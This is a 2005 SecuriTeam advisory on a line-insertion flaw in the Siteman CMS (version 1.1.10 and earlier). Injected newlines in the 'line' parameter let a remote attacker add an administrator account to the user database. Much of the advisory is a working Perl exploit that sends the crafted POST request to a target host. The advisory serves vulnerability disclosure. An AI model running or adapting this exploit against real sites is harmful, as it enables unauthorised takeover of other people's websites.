

[UNIX] Siteman User Database Line Insertion Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0085.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/23/05

To: list@securiteam.com

Date: 23 Jan 2005 14:18:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Siteman User Database Line Insertion Vulnerability

SUMMARY

<<http://sourceforge.net/projects/sitem/>> Siteman is a "CMS that works without MySQL DataBase and is written by the PHP. Someone who is not that familiar and professionally with website management can manage a website by the CMS fully".

Due to insufficient parsing on the part of Siteman, a remote attacker can cause the program to insert arbitrary lines into its textual database allowing a remote attacker to gain administrative privileges to the program.

DETAILS

Vulnerable Systems:

* Siteman version 1.1.10 and prior

Due to improper sanitation of the 'line' parameter, a remote attacker can insert additional lines into the stream written to the program's user database file. If an attacker writes a line that sets him with the level of 5 he be granted with administrative privileges to the Siteman program.

Securiteam: [UNIX] Siteman User Database Line Insertion Vulnerability

```
Exploit:
#!/usr/bin/perl -w
#
# Exploit by Noam Rathaus – Beyond Security Ltd.
# Exploit for the SiteMan vulnerability discovered by: "amironline452"
<amironline452@alphahackers.com>
#

use Digest::MD5 qw(md5 md5_hex md5_base64);
use IO::Socket;
use strict;

# ./siteman.pl / vulnerable.host
my $Path = shift;
my $Host = shift;
my $Username = shift;
my $Password = md5_hex(shift);

print "Path: $Path\nHost: $Host\nUsername: $Username\nPassword:
$Password\n";

my $content =
"do=create&line=%0A%0D$Username|$Password|5|$Username\@hacked.com|".
"$Username|1105956827|$Username|$Password|0|0|0|hackers%0A%0D";

my $request = "POST $Path/users.php HTTP/1.1\r
Host: $Host\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040928
Firefox/0.9.3\r
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.5\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Content-Length: ".length($content)."\r
Content-Type: application/x-www-form-urlencoded\r
Connection: close\r
\r
$content";

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host,
PeerPort => "8080");

unless ($remote) { die "cannot connect to http daemon on $Host" }

print "connected\n";

print "request: [$request]\n";
print $remote $request. "\r\n";

while (<$remote>)
{
```

Securiteam: [UNIX] Siteman User Database Line Insertion Vulnerability

```
print $_;  
}
```

```
close ($remote);
```

```
print "\n\n--- done ---\n";
```

ADDITIONAL INFORMATION

The information has been provided by
<mailto:amironline452@alphahackers.com> amironline452.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.